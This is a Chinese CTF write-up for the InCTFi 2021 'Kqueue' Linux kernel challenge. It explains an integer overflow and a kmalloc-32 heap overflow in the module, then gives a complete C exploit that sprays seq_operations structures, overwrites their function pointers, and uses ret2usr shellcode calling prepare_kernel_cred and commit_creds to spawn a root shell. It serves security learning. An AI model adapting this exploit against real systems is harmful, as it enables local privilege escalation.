题目分析
原件可以在https://github.com/teambi0s/InCTFi/tree/master/2021/Pwn/Kqueue里下载。
这道题是给了源码的,可以通过查看源码来观察该ko文件到底做了些什么。
从源文件中可以看到,kqueue这道题目只提供了一个ioctl接口,根据其中输入的cmd
,以及传入的request来创造queue
这道题目的每个函数看起来check很多,其实——都没有什么卵用,原因可以看代码:
static long err(char* msg){
printk(KERN_ALERT "%s\n",msg);
return -1;
}
可以看到,用来报错的err
函数,其并不会结束程序的流程,反而会让程序继续运行,就在内核缓冲区里打了个报错消息。
因而存在了整型溢出问题以及堆溢出的问题。
利用思路
首先,这道题目并没有开启smap/smep
以及kpti
但是开启了kaslr
- step1:利用整型溢出
因为程序中的判断都是
i < request.max_entries+1
,这种情况下,可以使得max_entries为0xffffffff来造成溢出,而又因为max_entries很大造成访问越界。- step2:heap overflow + heap spray提高命中率
save_kqueue_entries
函数中可以进行越界操作,其调用了char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));
创建了0x20大小的chunk,但是validate(memcpy(new_queue,queue->data,request.data_size));
确实根据我们传入的data_size来对队列进行拷贝操作。因为0x20大小的chunk在kamlloc-32
中,而内核中seq_operations
结构体的大小刚刚好为0x20,换句话说,他们和new_queue分配在同一个page的概率十分大,可以通过heap overflow来覆盖seq_operations
中的函数指针。可以通过
open("/proc/self/stat", O_RDONLY);
函数多次创建seq_operations
结构体,然后使用通过save_queue_entries
的溢出覆盖其中一个seq_operations
的内容。- step3: ret2usr 劫持控制流
seq_operations
的 中的函数指针可以改成用户态的shell地址。但是因为不知道内核的基地址(开启了kaslr),但是也有解决办法,利用栈的调用机制,在内核call
了seq_operations
的函数后,会把调用地址压栈。
根据对vmlinux的逆向以及linux源码分析,判断调用发生在
(该位置是seq_read)的函数地址。
随后我们可以根据该地址和prepare_kernel_cred
和commit_cred
的偏移得到真实地址。
exp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
size_t commit_creds=0;
size_t prepare_kernel_cred =0;
size_t user_cs;
size_t user_ss;
size_t user_sp;
size_t user_rflags;
void save_status(void){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void get_root_shell(void){
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}
//ret2usr
void get_root_privilege(){
//printf("use ret2usr\n"); //don't use user func in kernel space!
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
long dev_fd;
size_t root_rip;
typedef struct{
u_int32_t max_entries;
u_int16_t data_size;
u_int16_t entry_idx;
u_int16_t queue_idx;
char* data;
}request_t;
void create_queue(u_int32_t max_entries, u_int16_t data_size)
{
request_t req =
{
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(dev_fd, 0xDEADC0DE, &req);
}
void edit_queue(u_int16_t queue_idx,u_int16_t entry_idx,char *data)
{
request_t req =
{
.queue_idx = queue_idx,
.entry_idx = entry_idx,
.data = data,
};
ioctl(dev_fd, 0xDAADEEEE, &req);
}
void delete_queue(u_int16_t queue_idx)
{
request_t req =
{
.queue_idx = queue_idx,
};
ioctl(dev_fd, 0xBADDCAFE, &req);
}
void save_queue(u_int16_t queue_idx,u_int32_t max_entries,u_int16_t data_size)
{
request_t req =
{
.queue_idx = queue_idx,
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(dev_fd, 0xB105BABE, &req);
}
void shellcode(void)
{
__asm__(
"mov r12, [rsp + 0x8];"
"sub r12, 0x201179;"
"mov r13, r12;"
"add r12, 0x8c580;" // prepare_kernel_cred
"add r13, 0x8c140;" // commit_creds
"xor rdi, rdi;"
"call r12;"
"mov rdi, rax;"
"call r13;"
"swapgs;"
"mov r14, user_ss;"
"push r14;"
"mov r14, user_sp;"
"push r14;"
"mov r14, user_rflags;"
"push r14;"
"mov r14, user_cs;"
"push r14;"
"mov r14, root_rip;"
"push r14;"
"iretq;"
);
}
int main(){
size_t data[0x20];
long seq_fd[0x200];
save_status();
root_rip = get_root_shell;
dev_fd = open("/dev/kqueue",O_RDONLY);
if (dev_fd < 0){
printf("FAILED to open the dev!\n");
exit(-1);
}
for (int i = 0; i < 0x20; i++)
data[i] = (size_t) shellcode;
create_queue(0xffffffff,8*0x20);
edit_queue(0,0,data);
for (int i = 0; i < 0x200; i++)
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
save_queue(0,0,0x40);
for (int i = 0; i < 0x200; i++){
printf("seq num%d\n",i);
read(seq_fd[i], data, 1);
}
}
references
https://bbs.pediy.com/thread-269031.htm
https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x05-Kernel-Heap-Heap-Overflow